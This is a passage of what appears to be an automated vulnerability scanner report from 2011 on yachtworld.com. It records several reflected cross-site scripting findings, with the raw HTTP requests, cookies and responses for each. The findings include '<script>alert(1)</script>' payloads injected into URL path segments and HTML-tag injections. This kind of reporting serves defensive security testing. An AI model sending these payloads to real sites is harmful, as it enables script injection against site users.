VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:47 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37b6e"><script>alert(1)</script>407238705d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Hunter/137b6e"><script>alert(1)</script>407238705d HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:57 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 734e4"><script>alert(1)</script>6136c038ce4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type734e4"><script>alert(1)</script>6136c038ce4/Island+Packett/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:52 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 517c7"><a>95f5baca051 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Island+Packett517c7"><a>95f5baca051/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:55 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 198b2"><a>c472289651c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type198b2"><a>c472289651c/Luhrs/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:36 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5f26"><a>fd135ab7ca9 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Luhrsa5f26"><a>fd135ab7ca9/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; 